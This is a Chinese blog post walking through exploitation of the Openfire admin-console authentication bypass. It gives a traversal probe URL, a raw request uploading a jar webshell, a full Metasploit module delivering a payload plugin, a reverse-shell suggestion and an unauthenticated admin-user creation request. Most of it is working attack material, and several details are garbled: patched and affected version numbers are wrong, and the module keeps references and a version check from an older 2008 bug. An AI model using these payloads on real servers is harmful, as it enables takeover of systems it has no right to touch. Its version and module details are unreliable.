本文主要针对漏洞,进行未授权文件上传、用户创建、上线MSF等多角度测试。

前言:

其实在漏洞在发布之处,就已经复现出来了,一直在忙一些事情,现在网上已经有相应漏洞的利用了,但没有针对上线MSF之类的,就想做一些分享。

影响版本:

影响自 2015 年 3 月以来发布的所有 Openfire版本(从版本 10.0.4 开始)。该问题已在 Openfire 版本 7.5.4 和 6.8.4 中得到修补

复现过程:

首先在未登录过管理控制台测试

验证POC
http://localhost:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp

如果这显示了 openfire 日志文件的一部分,则 Openfire 实例会受到此漏洞的影响。请注意,不同版本的 Openfire 将显示不同的布局。较新版本的 Openfire 可能会在深色背景上显示日志文件,而旧版本将显示大部分白色页面。(根据日志文件的内容,除了标题之外,此页面可能是空的!

如果重定向到登录页面,则实例可能不受影响。

文件上传

准备好上传的jar马,git上有大佬分享的

http://x.x.x.x:29416/setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jsp?uploadplugin

post包如下:

POST /setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jsp?uploadplugin HTTP/1.1
Host: xxxx:27087
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------170232977211576772113128572782
Content-Length: 17074
Origin: http://x.x.x.x:27087
Connection: close
Referer: http://x.x.x.x:27087/plugin-admin.jsp
Cookie: JSESSIONID=1lzihf7g5x921okn9v61a4c7a
Upgrade-Insecure-Requests: 1

-----------------------------170232977211576772113128572782
Content-Disposition: form-data; name="uploadfile"; filename="jcore.jar"
Content-Type: application/octet-stream

-----------------------------170232977211576772113128572782--

测试是否上传成功,ping dns

linux版本可以考虑nc反弹shell,python反弹等等。

MSF上线测试---

第一步增加msfpayload
cve-2023-32315.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'
require 'rex/zip'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    HttpFingerprint = { :pattern => [ /(Jetty)/ ] }

    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE

    def initialize(info = {})
        super(update_info(info,
            'Name'        => 'Openfire Admin Console Authentication Bypass',
            'Description' => %q{
                    This module exploits an authentication bypass vulnerability in the administration
                console of Openfire servers. By using this vulnerability it is possible to
                upload/execute a malicious Openfire plugin on the server and execute arbitrary Java
                code. This module has been tested against Openfire 3.6.0a.

                It is possible to remove the uploaded plugin after execution, however this might turn
                the server in some kind of unstable state, making re-exploitation difficult. You might
                want to do this manually.
            },
            'Author'      =>
                [
                    'Andreas Kurtz', # Vulnerability discovery
                    'h0ng10'         # Metasploit module
                ],
            'License'     => MSF_LICENSE,
            'References'  =>
                [
                    [ 'CVE', '2023-32315' ],
                    [ 'OSVDB', '49663' ],
                    [ 'BID', '32189' ],
                    [ 'EDB', '7075' ],
                    [ 'URL', 'http://community.igniterealtime.org/thread/35874' ]
                ],
            'DisclosureDate' => 'Nov 6 2023',
            'Privileged'  => true,
            'Platform'    => ['java', 'win', 'linux' ],
            'Stance'      => Msf::Exploit::Stance::Aggressive,
            'Targets'     =>
                [
                    #
                    # Java version
                    #
                    [ 'Java Universal',
                        {
                                'Arch' => ARCH_JAVA,
                                'Platform' => 'java'
                        }
                    ],
                    #
                    # Platform specific targets
                    #
                    [ 'Windows x86 (Native Payload)',
                        {
                            'Platform' => 'win',
                            'Arch' => ARCH_X86,
                        }
                    ],
                    [ 'Linux x86 (Native Payload)',
                        {
                            'Platform' => 'linux',
                            'Arch' => ARCH_X86,
                        }
                    ]
                ],
            'DefaultTarget'   => 0,

        ))

        register_options(
            [
                Opt::RPORT(9090),
                OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
                OptString.new('PLUGINNAME',  [ false, 'Openfire plugin base name, (default: random)' ]),
                OptString.new('PLUGINAUTHOR',[ false, 'Openfire plugin author, (default: random)' ]),
                OptString.new('PLUGINDESC',  [ false, 'Openfire plugin description, (default: random)' ]),
                OptBool.new('REMOVE_PLUGIN', [ false, 'Try to remove the plugin after installation', false ]),
            ], self.class)
    end

    def check
        base = target_uri.path
        base << '/' if base[-1, 1] != '/'

        path = "#{base}login.jsp"
        res = send_request_cgi(
            {
                'uri'    => path
            })

        if (not res) or (res.code != 200)
            print_error("Unable to make a request to: #{path}")
            return Exploit::CheckCode::Unknown
        end

        versioncheck = res.body =~ /Openfire, \D*: (\d)\.(\d).(\d)\s*<\/div>/

        if versioncheck.nil? then
            print_error("Unable to detect Openfire version")
            return Exploit::CheckCode::Unknown
        end

        print_status("Detected version: #{$1}.#{$2}.#{$3}")
        version = "#{$1}#{$2}#{$3}".to_i

        return Exploit::CheckCode::Safe if version > 360

        # Just to be sure, try to access the log page
        path = "#{base}setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp"
        res = send_request_cgi(
            {
                'uri'    => path
            })

        if (not res) or (res.code != 200)
            print_error("Failed: Error requesting #{path}")
            return Exploit::CheckCode::Unknown
        end

        Exploit::CheckCode::Vulnerable
    end

    def get_plugin_jar(plugin_name)
        files = [
            [ "logo_large.gif" ],
            [ "logo_small.gif" ],
            [ "readme.html" ],
            [ "changelog.html" ],
            [ "lib", "plugin-metasploit.jar" ]
        ]

        jar = Rex::Zip::Jar.new
        jar.add_files(files, File.join(Msf::Config.install_root, "data", "exploits", "CVE-2023-32315"))

        plugin_author = datastore['PLUGINAUTHOR'] || rand_text_alphanumeric(8+rand(8))
        plugin_desc   = datastore['PLUGINDESC']   || rand_text_alphanumeric(8+rand(8))

        plugin_xml = File.open(File.join(Msf::Config.install_root, "data", "exploits", "CVE-2008-6508", "plugin.xml"), "rb") {|fd| fd.read() }
        plugin_xml.gsub!(/PLUGINNAME/, plugin_name)
        plugin_xml.gsub!(/PLUGINDESCRIPTION/, plugin_desc)
        plugin_xml.gsub!(/PLUGINAUTHOR/, plugin_author)

        jar.add_file("plugin.xml", plugin_xml)

        jar
    end

    def exploit
        base = target_uri.path
        base << '/' if base[-1, 1] != '/'

        plugin_name = datastore['PLUGINNAME'] || rand_text_alphanumeric(8+rand(8))
        plugin = get_plugin_jar(plugin_name)

        arch = target.arch
        plat = [Msf::Module::PlatformList.new(target['Platform']).platforms[0]]

        if (p = exploit_regenerate_payload(plat, arch)) == nil
            print_error("Failed to regenerate payload")
            return
        end

        plugin.add_file("lib/#{rand_text_alphanumeric(8)}.jar", payload.encoded_jar.pack)
        plugin.build_manifest

        # Upload the plugin to the server
        print_status("Uploading plugin #{plugin_name} to the server")
        boundary = rand_text_alphanumeric(6)

        data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"uploadfile\"; "
        data << "filename=\"#{plugin_name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n"
        data << plugin.pack
        data << "\r\n--#{boundary}--"

        res = send_request_cgi({
            'uri'     => "#{base}setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jsp?uploadplugin",
            'method'  => 'POST',
            'data'    => data,
            'headers' =>
                {
                    'Content-Type'   => 'multipart/form-data; boundary=' + boundary,
                    'Content-Length' => data.length,
                    'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}",
                }
        })

        print_error("Warning: got no response from the upload, continuing...") if !res

        # Delete the uploaded JAR file
        if datastore['REMOVE_PLUGIN']
            print_status("Deleting plugin #{plugin_name} from the server")
            res = send_request_cgi({
                'uri'     => "#{base}setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jsp?deleteplugin=#{plugin_name.downcase}",
                'headers' =>
                    {
                        'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}",
                    }
            })
            if not res
                print_error("Error deleting the plugin #{plugin_name}. You might want to do this manually.")
            end
        end
    end
end

MSF 装载

并把cve-2008-6508资源复制一份,改为cve-2023-32315

这里主要是为了上传文件。

msf设置监听,运行

未授权创建用户

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?username=test1&name=&email=&password=123456&passwordConfirm=123456&isadmin=on&create=%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7 HTTP/1.1
Host: 192.168.204.134:19091
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.204.134:19091/user-create.jsp
Cookie: JSESSIONID=idaxmuwrihsshs60esgsfrm2
Upgrade-Insecure-Requests: 1

高版本增加jsession和CSRFtoken
获取返回的JSESSIONID和csrftoken ,构造请求包新增用户(替换JSESSIONID、csrftoken)

总结

大体上利用思路这些吧,根据openfire版本可能会有一些差别,但总体思路一样的。大家对openfire进行复现的时候,最好确认版本,避免踩坑。

8 个月 后
说点什么吧...